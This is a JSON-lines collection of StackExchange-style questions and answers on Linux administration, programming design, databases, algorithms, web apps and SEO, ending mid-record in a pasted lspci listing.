{  "id": "_reverseengineering.13209"  , "question": "I'm trying to get the hang of IDA and I try to reverse engineer some code with a similar code [not 100% the same] to help me, I'm just using it to check.The problem is that I came accros this issue: How could I convert this into a friendlier pointer format ?This blocks me because this is not using the classic BASE+OFFSET format plus it's using two variables...Thank you for your help."  , "title": "IDA pseudocode: [var*size+ var + offset] to [structure pointer] format"  , "tags": "ida"  } 
{  "id": "_unix.154023"  , "question": "I'm messing around with having both /home and /var on a seperate partition which will be mounted in /myhdd.Next, I use mount --bind to mount /var on /myhdd/var and /home on /myhdd/home. With this configuration I am able to successfully install Arch Linux but as soon as I boot to the installed system /var and /home are not mount although /myhdd is.Due to this issue I can't get pacman and more important stuff working. I do get working system if I manually mount all directories, so it looks like fstab problem, so here it is:# /dev/sda1UUID=f192b003-abf9-4e1a-87ee-d187d64423ce   /           ext4        rw,relatime,data=ordered    0 1# /dev/sda2UUID=b4c5571f-ddb7-440e-b591-759e888b268d   /myhdd      ext4          rw,relatime,data=ordered  0 2# /mnt/myhdd/home/mnt/myhdd/home         /home       none        bind    0 0# /mnt/myhdd/var/mnt/myhdd/var          /var        none        bind    0 0Any ideas why fstab doesn't mount my /var and /home directories?"  , "title": "bind mount /var with fstab"  , "tags": "mount;fstab;bind mount"  , "accepted_answer": "Your problem:/myhdd ... /mnt/myhdd/... /mnt/myhdd/...It should read either:/mnt/myhddd ... /mnt/myhdd/... /mnt/myhdd/...or.../myhdd ... /myhdd/... /myhdd/..."  } 
{  "id": "_unix.35426"  , "question": "I recently started using mutt with my gmail IMAP mail address. Because I loved it so much, I also set it up with my college email address.This, sadly, is hosted by the college ICT team under Outlook Webapp, which seems not to adhere to some vary basic standards such as message quoting.On every mail service I've used (not many but hey), a message is quoted using the following method:This is my new message>this is >a quoted message>> this is a >> quoted message inside the quoted messageor something similar. Mutt seems to pick this up and colorize them appropriatly. However, the Outlook Webapp has following qutoing scheme:This is my new message-----Original Message-----From: Foo@BarSubject: FoobarDate: 1st of Foo, 2012 20:18To: Bar@Bazthis is a quoted message-----Original Message-----From: Bar@BazSubject: FoobarDate: 1st of Foo, 2012 20:13To: Foo@Barthis isa quoted message inside the quoted messageIs there a way to tell mutt how to pick this up?Note that when different users have different languages set in the web app this will also reflect in the quoting, eg a Dutch person will have -----Oorspronkelijk bericht----- instead of it's english counterpart, and it will be sent around like that. So there will be some mixing up.It feel saddened by the lack of respect for simple standards like this, because they make life so much harder than it has to be.Note: I have renounced using the outlook webapp, and thus I set up a new gmail account. My outlook webmail get's forwarded to this gmail account and I can reply to it using my normal college email adress from the gmail webapp or mutt. The bad quotin remains a problem though."  , "title": "Mutt: can I define my own rules for quoted message detection?"  , "tags": "quoting;mutt"  , "accepted_answer": "Well, I could not find any Mutt color like configuration statements that allow to apply color information over multiple lines.Perhaps the easiest way to deal with Outlook message is to setup a filter, e.g. something like:$ awk '/-----Original Message-----/ { level++; }       { for (i=0;i<level;++i) printf(>); printf(%s%s, $0,\\n); } 'mutt has even a display_filter command:When set, specifies a command used to filter messages. When a message is viewed it is passed as standard input to $display_filter, and the filtered message is read from the standard output.Probably you can make this command conditional (via hooks) - i.e. only execute it when the message has a outlook specific user agent header. Perhaps via the message-hook:This command can be used to execute arbitrary configuration commands before viewing or formatting a message based upon information about the message. command is executed if the pattern matches the message to be displayed."  } 
{  "id": "_cstheory.8317"  , "question": "Are there cases where extra publications can hurt your record?This is avoiding the obvious cases where you publish incorrect, or controversial results. Also avoiding the case of finite-time: you only have so much time to think and write, so writing a paper might cause you to lose time on another project. An example use-case might be: you are aiming for a position in theoretical computer science, but often publish in non-theoretical areas which might be under the broader CS canopy or maybe even completely unrelated to CS. On the one hand, this can show broad interests and breadth. On the other hand, this could show a lack of focus, opportunism, or lack of commitment to the field.Can you avoid the problem by simply listing 'selected publications' on your CV that tailors to the specific position, or will the hiring committee always google scholar you? If so, when should you consider not publishing or publishing under pseudonym (or alternative spelling of name)?"  , "title": "When are more publications less?"  , "tags": "soft question;advice request;career"  , "accepted_answer": "At Aaron's suggestion, here is my second comment from the complexity blog, warts and all.  Italics are (linked) quotes from earlier comments.I've seen candidates publishing more than 15 papers a year and then a question was asked whether these 15+ papers are good or not....because more often than not, the answer is no. Most of the  uncharacteristically long CVs I've seen in hiring committee meetings  are chock full of crap. Or they're good in the aggregate, but appear  to advance their research in too many incremental steps. Even if there  are diamonds in the slurry, I have to askwhy did they publish all  that other stuff? Why didn't they make one big splash instead of this  long, meager dribble? Did they not notice that most of their papers  were weak? Are they publishing so many papers to advance the state of  the art, or only to make their CV longer? Are they going to value  quantity over quality in their own PhD students? Or am I in fact  witnessing a miracle candidate?Despite what Dr. Anonymous two steps above me suggests, these are not irrelevant  issues. I don't want my department associated with someone known to  publish reams of crap, or who wastes my colleagues' time reviewing  tons of incremental papers, or who thinks they're Thor's gift to  computer science when they're not, or who tries to convince PhD  students that their CVs need to look like the Manhattan Yellow Pages.  Those aren't the people I want to work with; that's not the culture I  want to work in; that's not (in my opinion) what's best for the  Advancement of Knowledge.And notice I said suspicious, not deadly. Of course we read  recommendation letters and search citation indices and even (gasp)  read the actual papers. Sometimes that's enough to allay my  suspicions; yes, there are miracle candidates. But just often enough  for me to keep my suspicions, they're proven right.So where exactly does the long CV comes in as a negative, rather than  the fact that the person does not have significant contributions?The problem isn't just that they may not have significant  contributions, but also that they may have too many not-significant  contributions. (See my  earlier comment about max vs sum.)Sounds like you guys are rationalizing a case of paper envy, rather  than following sound academic decisions.What the hell is paper envy? Result envy or impact envy or  reputation envy I could get behind, but paper envy? Really? Since when  are papers something to be envious about?Also: Not publicly taking credit for your opinions? Deeply suspicious."  } 
{  "id": "_softwareengineering.352213"  , "question": "I have developed a JavaFX 8 application backed by a BaseX database and have got to the stage where it is getting a bit too difficult to add features: so I thought the logical thing would be to break the application into separate layers and would like some confirmation I am heading in the correct direction with this.Fundamentally, I would like to break it down into JavaFX Jars, so that each feature contains it's own FXML, controllers, resources and models.I am using NetBeans 8.2 and am thinking about using Maven to achieve this. I would like to make sure I understand the basics.I want to separate out database access and JAXB parts into one JAR which can be imported as a dependency into the JARs that use it, that way I can create features in isolation specifying the database JAR as a dependency.Is this a sensible approach?"  , "title": "Approach for Breaking JavaFX Application into Jars / Layers"  , "tags": "maven;javafx;netbeans"  } 
{  "id": "_unix.227369"  , "question": "I am trying to install debian on my new laptop (lenovo G5O 70) and I get an error on the step choose and install softwares.The installation apears to be stuck on execution of triggers of udev."  , "title": "Installation fails on choose and install softwares"  , "tags": "debian;system installation;debian installer"  , "accepted_answer": "Unetbooin provided a wrong installation image. I used Rufus and everything works fine. "  } 
{  "id": "_unix.153768"  , "question": "I am trying to check out code on a Unix box in the Z shell. When I run the following commandsvn checkout https://svn.example.net/svn/trunk/source buildI get the following error message:svn: SSL is not supportedThe error message is in no way informative so I'd like to see if anyone has had a similar problem and even better if they have a solution. Thanks"  , "title": "svn: SSL is not supported"  , "tags": "subversion;ssl"  } 
{  "id": "_unix.259116"  , "question": "I want to write a script using a for loop  and ssh, to log in several server. After logging in using awk command I want to get 7th column printed as output.I tried the script below but couldn't worked out.I created a list of IP's in /tmp/list.for i in `cat /tmp/list`doecho $iecho ***********ssh $i |grep tsm |awk -F : '{print $7, \\t}'echodone"  , "title": "How to write a script to log in multiple server using for loop and ssh?"  , "tags": "ssh;awk"  , "accepted_answer": "pssh makes this much easier, but for your simple use case ssh will also work.While what you have above could have worked, provided the server is set up to run a command and exit on login (which is somewhat unlikely) you probably meant something like this: ssh $i <command> | grep tsm | ...If you really need to check a login banner for tsm, try using the command exit to immediately return back from the ssh rather than starting an interactive shell:ssh $i exit | grep tsm | ..."  } 
{  "id": "_unix.304858"  , "question": "I wish to run a command which will create a binary file where the length of the file is specified on issuing the command. "  , "title": "Create binary file of specific length"  , "tags": "terminal;osx;command"  } 
{  "id": "_codereview.119786"  , "question": "I have my class DBFuntcions containing this 2 methods:The method for the connection to the database:Connection connection_db(String username, String password, String dbname, Connection c) {    try {        Class.forName(org.postgresql.Driver);        c = DriverManager.getConnection(jdbc:postgresql://localhost:5432/                + dbname, username, password);        System.out.println(Opened database successfully);    } catch (ClassNotFoundException | SQLException e) {        System.err.println(e.getClass().getName() + :  + e.getMessage() + \\n\\n\\n);    }     return c;}And the method for the query.void viewAll(String tableName, long startDate, long endDate, Connection c, String path) {    String query = SELECT * FROM  + tableName +  WHERE CAST(receivedtime AS integer) BETWEEN ? AND ? ORDER BY source, receivedtime;;    try (PreparedStatement stmt = c.prepareStatement(query)) {              //try with resources        stmt.setLong(1, startDate);                                         //prepare query        stmt.setLong(2, endDate);        ResultSet rs = stmt.executeQuery();        try {            while (rs.next()) { ... }My question it is the best to open and close the connection? Just before calling the query and closing right after? Opening and closing the connection inside the query method?Or it is better to open it in the main and close it at the end? I think it should depends of the number of time I try to access to it. Let's say for the moment I only have this query and run it only once."  , "title": "Database Connection and Query methods"  , "tags": "java;database"  } 
{  "id": "_cs.55386"  , "question": "For the following finite state machine:The language recognized by it is given to be: $0+(10+11)(0+1)^*$ in my samples book, which I think is clearly wrong, since there's no return path to the final state.I think the language recognized should be just an epsilon or nothing. I wanted to confirm if I am right or wrong with the answer."  , "title": "Regular expression for a finite automaton appears to be wrong"  , "tags": "automata;finite automata;regular expressions"  } 
{  "id": "_softwareengineering.138977"  , "question": "Given a parent entity with a collection of child entities where there must be exactly one primary child of the group?To make the question more concrete, I've seen a number of ways that this pattern might come up -- a group of people where one person is the leader or the contact details for a person where one is primary. Here are two different approaches that I've seen.1. Flag the member as primaryIn this approach, a field is added on the member to designate it as primary. The advantage is that it is simple to implement and avoids additional relationships. The disadvantage is that it is more difficult to enforce in the data model that one and only one member is primary and from an object perspective, potentially puts the responsibility on the child that should be on the parent.2. Additional associationIn this approach the parent tracks the primary member of the group and stores the id of the child. This is in addition to the children storing the id of the parent as a member of the group. This makes it explicit in the data model that there is only one primary member and an index can be added to enforce it. The disadvantage is that it requires two relationships and there is a chance that they can disagree (parent points to a child that doesn't belong to the parent).It seems to me that this is a common pattern and must be documented as a design pattern or model pattern in an architecture book somewhere. A similar pattern might be where the collection is a history and there is one current, but that is a bit easier as each member would have a date range that can be indexed. Are there better approaches? Or can someone point to where this pattern might be documented more formally?"  , "title": "Pattern for group of entities with one required primary member"  , "tags": "design patterns;architecture;database design"  } 
{  "id": "_webapps.39918"  , "question": "You can obviously prioritize cards within boards, but is there a way to prioritize cards between boards?  For example, if I have 10 boards and 35 cards, instead of having my developer check each board for what is the next priority, is there a way to create a summary prioritization of the 35 cards into one place?"  , "title": "Trello - prioritize cards between boards"  , "tags": "trello"  } 
{  "id": "_unix.185135"  , "question": "Is there a way to download forum jpeg image attachments, possibly using Wget or Curl or some other tool? I would like to download jpeg attachments from specific pages on forums. I'm not interested in downloading all forum attachments, but attachments specific to a page in a thread. I also don't want to download attachments one at a time. I want to be able to go to a page on a forum and download all attached images from that page using one command/action.I can retrieve forum attachment urls by using the Firefox Addon Copy All Links:http://forum.sample.com/attachmentshow.php?attachmentid=5332197&d=1391102903http://forum.sample.com/attachmentshow.php?attachmentid=5332198&d=1391102903http://forum.sample.com/attachmentshow.php?attachmentid=5332199&d=1391102903http://forum.sample.com/attachmentshow.php?attachmentid=5683368&d=1407242372But it would be more convenient if I could give Wget or Curl (or some other tool) the url of the forum page, and the command would automatically retrieve the attachment urls and download the images."  , "title": "Download Forum Attachments"  , "tags": "wget;curl;download"  } 
{  "id": "_cs.78172"  , "question": "I have implemented my own CSP solver using a Backtracking algorithm.Within the Backtracking algorithm I apply a Forward Checking algorithm (reducing domains of connected, unnasigned variables) that only works with Binary constraints.The problem I have is that the CSP I try to solve has lots of n-ary constraints, making the FC algorithm mostly redundant. Is there a way to enhance or replace my FC algorithm, so it works with n-ary constraints.Or is there a simple procedure to convert n-ary constraints to binary constraints?EDIT:Added pseudo code (attempt) of the Forward Checking algorithm:function ForwardChecking(variable, csp) list of variables with new domains, or failure    for each constraint in connectedConstraints(variable) do        if connectedVariable is assigned then            if constraint is not satisfied then                return failure        else             for each value in connectedVariable.domain do                connectedVariable.assign(value)                if constraint is not satisfied do                    remove value from connectedVariable.domain                if connectedVariable.domain.count == 0 then                    return failure                add connectedVariable to solution    return solution"  , "title": "CSP Forward checking with n-ary (and binary) constraints"  , "tags": "algorithms;satisfiability;sat solvers;constraint satisfaction;constraint programming"  } 
{  "id": "_unix.231839"  , "question": "I tried upgradinfg Fedora 22 to Fedora 23 using this guideHowever things have failed and it seems I am still on Fedora 22. However the system thinks it is running Fedora 24  $ cat /etc/*-releaseFedora release 24 (Rawhide)NAME=FedoraVERSION=24 (Workstation Edition)ID=fedoraVERSION_ID=24PRETTY_NAME=Fedora 24 (Workstation Edition)ANSI_COLOR=0;34CPE_NAME=cpe:/o:fedoraproject:fedora:24HOME_URL=https://fedoraproject.org/BUG_REPORT_URL=https://bugzilla.redhat.com/REDHAT_BUGZILLA_PRODUCT=FedoraREDHAT_BUGZILLA_PRODUCT_VERSION=RawhideREDHAT_SUPPORT_PRODUCT=FedoraREDHAT_SUPPORT_PRODUCT_VERSION=RawhidePRIVACY_POLICY_URL=https://fedoraproject.org/wiki/Legal:PrivacyPolicyVARIANT=Workstation EditionVARIANT_ID=workstationFedora release 24 (Rawhide)Fedora release 24 (Rawhide)and dnf does not work because it searches in the repos for Fedora 24.How can I fix this."  , "title": "Upgrading Fedora 22 to 23 failed. Now using Fedora 24"  , "tags": "fedora;upgrade;dnf"  , "accepted_answer": "Try this:For every file /etc/*-release, set the version value to 23.Disable the fedora-rawhide repo (modify the /etc/yum.repo.d/fedora-rawhide.repo by setting enable=0)In a terminal, do dnf distro-syncIf an error is thrown with package during this step and only if the package contains f24 value on the name, do a dnf remove <entier package name>.re-do dnf distro-syncThis solution should result in a valid Fedora 23 installation."  } 
{  "id": "_unix.207604"  , "question": "I have an older SSH key that I'm replacing, and I would like ssh-agent to warn me if it used the older key, so I know to update it on that server.Is there a way to do this?"  , "title": "How can I have ssh-agent warn if using a particular key?"  , "tags": "ssh;ssh agent"  , "accepted_answer": "You can make it confirm before using a key with the -c option to ssh-add. From the manpage: -c      Indicates that added identities should be subject to confirmation         before being used for authentication.  Confirmation is performed         by the SSH_ASKPASS program mentioned below.  Successful confirma         tion is signaled by a zero exit status from the SSH_ASKPASS pro         gram, rather than text entered into the requester.That's per-key. So you can add one key with -c and the other one without. The default program will ask you to enter your passphrase; but you can just click OK or Cancel (that's what it means by signaled by the exit status)."  } 
{  "id": "_softwareengineering.236571"  , "question": "Just started learning about classes in C++ and I'm have trouble understanding why object orientated programming (OOP) is useful. I understand the syntax, how to use them etc.But I'm still confused as to why OOP is advantageous. Here are some specifics I'm having trouble with:Private variables. What is the use? Many sources tell me its to prevent outsiders from changing internal variables of the object, to protect the insides. That doesn't make sense to me because wouldn't someone who wanted to change the variable just call the setter (mutator) functions and change it? Anyone can open the source file and call the setter and change the value of the variable. How is that protection? It's also mentioned that it makes debugging easier because instead of looking for every instance of the variable x, you know x is only accessible through the class. So instead of ctrl+F x you just ctrl+F memberFunction?? How does that make debugging easier?I read somewhere that using getters and setters is bad. Although sometimes unavoidable, its generally bad. I read Don't ask for the information you need to do the work; ask the object that has the information to do the work for you. Can someone explain why this is important?The big picture. I don't understand why implementing objects is more efficient than just if-statements and function calls....when there are functions in objects too. Objects don't seem to save tons of time in terms of coding. What am I missing?"  , "title": "Understanding object-oriented programming: why is it important?"  , "tags": "java;c++;object oriented"  , "accepted_answer": "Perhaps an example can help explaining the benefits of object oriented programming.Consider a linked list, it consist of node structures containing some data and pointing to other nodes:struct Node {    Node* next;    int data;}Assume a list of these (I named them for convenience):Node c{null, 4};Node b{&c, 73};Node a{&b, 42};Node* list = &a;You can use this list as follows:std::cout << list->data; // prints 42std::cout << list->next->data; // prints 4All is fine here, but imagine somewhere in your program the following happens:Node d{&a, 17};list->next->next = &d;Now the list is messed up, it is: [a, b, d, a, b, d, ]; node c is lost and the list has become an endless repetition.1aTo answer the first part of part 1 of your question, when Node::next is private the problematic assignment list->next->next = &d; can not happen.1b & 2Given a public setter:void Node::setNext(Node* new_next) {       this->next = new_next;   }As you say, then anyone can just use list->next->setNext(&d);.  This leads to the answer to part two of your question: having a setter setNext() is bad.  Lists should have modifying operations like insert(value), append(value), and remove(value).This is an example of the general rule: classes should have operations that fit their intended meaning and use, not getters and setters for every field the implementation happens to have.  Or the version you read: Don't ask for the information you need to do the work; ask the object that has the information to do the work for you.3Your question, I don't understand why implementing objects is more efficient than just if-statements and function calls, is a difficult one.  First the word 'efficient' can have two meanings:the programs run faster and/or consume less resourceswriting a program takes less effortFor the first point running faster or consuming less resources, both object oriented programs and programs using if-statements and function calls can be efficient in this sense or very inefficient.  For some problems thinking about them in an object oriented manner, leads to a more elegant and efficient solution than the if-statements and function calls approach.  For other problems object oriented programming just gets in the way and causes overhead.On the second interpretation of 'efficient': writing a program takes less effort.As @JB_King states object orientation helps to organize things that belong together.Once you have the list class, in other parts of the code you can think in terms of maintaining a list of 'x'es and sending a list of 'y's, instead of pointer manipulations.  In addition when you look at the C++ standard library, the java runtime library, Boost Collection, Commons collections, Google guava, and others you'll find that others have already written List classes and that perhaps for your programming problem a list is not the best class but some other kind of collection.So once you have (or someone else has) written a class you can reuse it and you do not have to write it again.NOTE: of course the same holds for good libraries of functions, my answer is lacking a good explanation of why object oriented is better reusable than functional libraries.Elaborations and side nodesEven if you decide that this list class really does require a setNext()-method, then the method can have advantages over directly manipulating the Node::next-field.  The method can perform extra checks; e.g.:Node:setNext(Node* newNext) {       if (this->next == null)       {           this->next = newNext;       }       else       {           throw new Error();        }   }Making fields private does not prevent malicious programmers/code from reading and manipulating the field; i.e.class SecurityController {private:    std::string secretPassword;};andstruct SecurityController2 {    std::string secretPassword;}are both equally (in)secure.Declaring things private (and other methods of hiding implementation details) only helps well behaving programmers to create better code.InitializationSometimes initializing an object is the only time that direct access to an object's fields is required.  Then you can define a constructor that accepts and sets the field, e.g.:Node::Node(int value_) {    this->value = value_;}However, often there are better constructors that do not require the caller providing values.  For example:List::List() {    }to construct an empty List, andList::List(std::iterator<int> start, std::iterator<int> end) {    }to create a list containing copies of the values from the C++ STL range [start, end>."  } 
{  "id": "_unix.203106"  , "question": "I have a zte 3g modem. I use carrier provided dialer for connection establishment. Once the ppp connection is active, i would like to send some AT commands(for ex. Query signal strength, AT+CSQ). But the dialer i use locks the /dev/ttyUSB0 port, which is the command port to send AT commands for my modem. So is there any way, to send the commands, once the connection is active?Edit: I also tried the additional port /dev/ttyUSB1. But the port is flowing with random data from the modem. A sample is given below.T^PREFMODE??                                                                    ^PREFMODE:8                                                                     OK                                                                              TC                                                                              ^DSDORMANT:1                                                                    +CSQ:19, 99                                                                     OK                                                                              T^SYSINFO                                                                       ^SYSINFO:2,3,0,4,255                                                            OK                                                                              TT^SYSINFO?                                                                     ^SYSINFO:2,3,0,4,255  I tried adding my commands, i even got output. But the response is very poor. Most of the times, my AT commands went unnoticed. "  , "title": "How to send AT commands to modem once the connection is established?"  , "tags": "linux;networking;serial port;modem;ppp"  , "accepted_answer": "As long as the device is used for ppp traffic, it is not possible to run AT commands at the same time1.For this reason all modern modems will provide more than one serial interfaces, e.g. /dev/ttyUSB0 and /dev/ttyUSB1 (or /dev/ttyACM0 and /dev/ttyACM1 for USB CDC modems on linux).Back in the days when phones had RS-232 compatible connectors (perhaps with additional IrDA), 3GPP standardized a multiplexing protocol as 07.10 to overcome the physical limitation, although that required special drivers on the PC so it never took off. Today with USB's inherent multiplexing capabilities, there are no excuses for not providing multiple serial interfaces (usually there are only two though).So as already mentioned in a comment, you should use the other serial device, e.g. /dev/ttyUSB1.1 In theory it might be possible for the modem to support +++ escaping which would then allow you to run AT commands while the connection was ongoing, although then you would have to in some way modify the dialer program to inject those and extract the response..."  } 
{  "id": "_softwareengineering.334877"  , "question": "Im going to make a program that build SQL like queries based on settings.Basically you have queries that are in an initial state and based on these settings the queries will at application start be built to fit the settings stored in what ever format.So a method takes in the queries and return new queries based on settings.I need some help on how these settings are stored. What is typical? to store settings in a file(ini, conf) or in a SQL DB?"  , "title": "How are typical settings stored in a program?"  , "tags": "settings"  } 
{  "id": "_cs.38397"  , "question": "I am trying to calculate all pure strategy Nash equilibrium in a mxn game. It requires to check all pure strategy pairs (m.n pairs). Suppose player 1 has m strategies. Algorithm should start with the first pair (1,1) and compare (1,1) with (2,1),(3,1),...(m,1). Same for all strategies, exp: (3,4) is compared by (1,4),(2,4),(4,4),...,(m,4).In summary is it possible to make a search with for loop which excludes existing i:Thank you. "  , "title": "Is it possible to make excluded search with for loop in Java?"  , "tags": "search algorithms;game theory;java"  , "accepted_answer": "First of all, if you want to check each combination of pure strategies, you will have two nested for loops:int a, b;for (b = 0; b < n; b++) {  for (a = 0; a < m; a++) {    compare(a, b);  }}Additionally, compare(a,b) will then be compared to each alternative I have to exchange a under the assumption that my opponent will use b:int compare(int a, int b) {  for (int x = 0; x < m; x ++) {    if (x == a) continue; // This will exclude the check (a, b), (a, b)    System.out.println(Comparing ( + a + ,  + b ) and ( + x + ,  + b + ));  }  return 0;}However, my knowledge of game theory is a little bit rusted. Aren't you trying to determine the best answer in pure strategies to each pure strategy of your opponent?In fact, this comparison would have a complexity of $\\mathcal{O}(m^2\\cdot n)$.In order to determine the best answers with only a complexity of $\\mathcal{O}(m\\cdot n)$, you can gradually search the maximum payoff while traversing each possible combination of strategies:int best_answers[n];int a, b;int max_payoff;for (b = 0; b < n; b++) {  best_answers[b] = 0;  max_payoff = 0; // If negative payoffs are possible, adjust this.  for (a = 0; a < m; a++) {    if (payoff[a][b] > max_payoff) {      max_payoff = payoff[a][b];      best_answers[b] = a;    }  }}Here, I assume that int payoff[m][n] is a 2-dimensional array that encodes the payoff matrix. After running this algorithm, best_answers[b] contains the best answer strategy for strategy $0 \\leq b < n$ of the opponent."  } 
{  "id": "_webmaster.51818"  , "question": "Well I have some crawlers to scrape news from different news agency websites and auto-publish it to my own website, the thing is my pages get index in Google, but even if I search the exact same words, it's not showing up.It only shows the source website, I'd like to know what can I do to make Google to show my pages on SERP too? should I link back to the source website? or is it basically not useful to crawl another website and publish it's content as your own? "  , "title": "News like pages get index, but not showing up in SERP"  , "tags": "seo;duplicate content;web crawlers"  , "accepted_answer": "It is not useful to crawl another website and publish its content as your own.  Google refers to that practice as scraping.  Here is an article about it: Google Penalty: Why You Should Not Copy Content which is summarized:Many people believe that setting up a website loaded with copied content is an easy way to make lots of money via AdSense and advertising. They are mistaken....Google, the almighty search engine, heavily penalizes websites that scrape content. Other search engines like Bing, Yahoo, Baidu etc. also impose similar penalties on misbehaving websites. Such penalty will push your website down the search results and that will make it difficult (or almost impossible) for users to reach your website.In your case, it appears that Google is crawling your site, but not indexing your content because it indexes the content elsewhere."  } 
{  "id": "_softwareengineering.1007"  , "question": "Tester and blogger Lanette Creamer recently posted this question on Twitter:If you are a professional software developer who works with testers, think of the best testers you know. What traits do they have in common?I thought it would make an excellent question for here.My thoughts are:They want to remove ambiguity from requirements even if it means asking awkward questions.They create new features by seeing the way software should work, rather than just how it's documented.They demonstrate honesty and integrity and encourage but not demand it from those around them. In other words, they model behavior.What are the traits of the best testers you've worked with?"  , "title": "What traits do the best testers you've worked with have in common?"  , "tags": "team;testers"  , "accepted_answer": "Here are a few that I'd add:Smart - These people come across as rather bright or deep thinkers.  Boundary cases come quickly to these people it seems.  They may ask the, What about. . questions a lot.Attention to detail - Listing reproduction steps, stating the difference between expected and actual results, etc.  Thorough in their work.Self-motivated - The better testers I know seem to drive themselves to be thorough and go, go, go! Get things done would be another way to state this to my mind.Analytical - Arguing over priority or severity with calm, rational arguments.  Understanding what bugs are going to get fixed ASAP and which are too cosmetic, e.g. a bad color choice.Tenacity - They stuck to their interpretation unless a project manager, business analyst, or someone with the power changed the requirements to overrule them.  Not a push-over for another way to put this."  } 
{  "id": "_codereview.36687"  , "question": "What can be improved in my code:        using (var oracleConnection = new OracleConnection(ConnectionString))        {            using (var oracleCommand = oracleConnection.CreateCommand())            {                oracleConnection.Open();                oracleCommand.CommandText =                 SELECT *                  FROM table_sample Table_Sample                  WHERE table_sample.id > 1000;                using (var reader = oracleCommand.ExecuteReader())                {                    while (reader.Read())                    {                        int id = reader.GetValue(0);                    }                }            }        }As the most dangerous thing I see the ugly string statement for database query.I dont want to use Entity Framework for Oracle - cause its not as actual as one for MS SQL Server. And also some Oracle features are not supported."  , "title": "Connecting to Oracle using ODP.NET"  , "tags": "c#;sql;oracle"  , "accepted_answer": "You're using using blocks to dispose your disposables, which is excellent. However these blocks increase the nesting of your code; since there's nothing between using (var oracleConnection = new OracleConnection(ConnectionString)) and using (var oracleCommand = oracleConnection.CreateCommand()) you could drop the curly braces and stack them, like this:    using (var oracleConnection = new OracleConnection(ConnectionString))    using (var oracleCommand = oracleConnection.CreateCommand())    {        ...    }Within that scope, you're reassigning variable Id at each row that gets read; ultimately the value of Id will be that of the last row that was read. I doubt this is the intended behavior.As for the string query, I agree it's dangerous - I prefer (by far) to use an object-relational mapper such as Entity Framework (which as @svick has mentioned has an Oracle provider), but never used it for anything other than SQL Server. I believe you could look into NHibernate as well, or shop around - something like .net ORM for oracle should find you some interesting links :)"  } 
{  "id": "_webapps.43358"  , "question": "When I'm about to work on Project Foo, I want to open all documents and spreadsheets related to Project Foo with one click of a link. Is it possible to set up such a link? (Does Google Drive have a concept of a saveable workspace?)"  , "title": "Is there a way to save and open workspaces in Google Drive?"  , "tags": "google drive"  , "accepted_answer": "Does Google Drive have a concept of a saveable workspace?No. (Not to say they wouldn't add something like that in the future.)Of course, if you are syncing Drive files with your hard drive, you could always use your OS to open multiple files using your file explorer (or equivalent)."  } 
{  "id": "_unix.205276"  , "question": "I have a broken disk where I need to copy a 60G file from.From time to time the disk resets and I can't finish the copy. I would like to try and copy partial slices and put them all together.How can I do this?"  , "title": "How can I partially copy a file from a broken disk?"  , "tags": "hard disk;file copy"  } 
{  "id": "_webmaster.43664"  , "question": "We are strongly considering moving significant, relatively static, portions of our existing Drupal site (yinyanghouse.com) out of Drupal and into a subdomain built up with a static site generator like Jekyll.This section would be something like 900 pages or so of largely static content with no need for comments, etc. (although keeping Adsense would be important) - something like resources.yinyanghouse.com.Then we are more than likely going to move the dynamic/community portions of our site into Wordpress for easier upgrade paths and better adherence to API's between versions (in our opinion) than Drupal.My question, then, is will there be any significant ramifications of moving a page such as:http://www.yinyanghouse.com/acupuncturepoints/lv3 to resources.yinyanghouse.com/acupuncturepoints/lv3?Any things to watch out for or are just 301's and fixing all our internal links enough?Any experiences with Jekyll and larger sites? What about hosting that many pages on Github pages vs. locally with Nginx?These are crucial pages of our rankings overall and we really don't want to lose that but moving them to a static site generator will help us greatly with maintenance and hosting costs."  , "title": "SEO implications of moving a section of site to a subdomain - Drupal to Jekyll/Wordpress migration"  , "tags": "seo;wordpress;migration;jekyll"  } 
{  "id": "_unix.207859"  , "question": "I can't seem to get my wifi working and I feel i've exhausted google's search capabilities. Here is the output of lspci for the device02:00.0 Network controller [0280]: Broadcom Corporation BCM4352 802.11ac Wireless Network Adapter [14e4:43b1] (rev 03)    Subsystem: AzureWave Device [1a3b:2123]    Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-    Latency: 0, Cache Line Size: 64 bytes    Interrupt: pin A routed to IRQ 10    Region 0: Memory at f7e00000 (64-bit, non-prefetchable) [size=32K]    Region 2: Memory at f7c00000 (64-bit, non-prefetchable) [size=2M]    Capabilities: [48] Power Management version 3        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+)        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=2 PME-    Capabilities: [58] MSI: Enable- Count=1/1 Maskable- 64bit+        Address: 0000000000000000  Data: 0000    Capabilities: [68] Vendor Specific Information: Len=44 <?>    Capabilities: [ac] Express (v2) Endpoint, MSI 00        DevCap: MaxPayload 256 bytes, PhantFunc 0, Latency L0s <4us, L1 unlimited            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-            RlxdOrd- ExtTag- PhantFunc- AuxPwr+ NoSnoop+            MaxPayload 128 bytes, MaxReadReq 512 bytes        DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend-        LnkCap: Port #0, Speed 5GT/s, Width x1, ASPM L0s L1, Latency L0 <2us, L1 <32us            ClockPM+ Surprise- LLActRep- BwNot-        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk+            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-        LnkSta: Speed 5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-        DevCap2: Completion Timeout: Range ABCD, TimeoutDis+        DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-        LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-, Selectable De-emphasis: -6dB             Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-             Compliance De-emphasis: -6dB        LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-             EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-    Capabilities: [100 v1] Advanced Error Reporting        UESta:  DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-        UEMsk:  DLP- SDES- TLP- 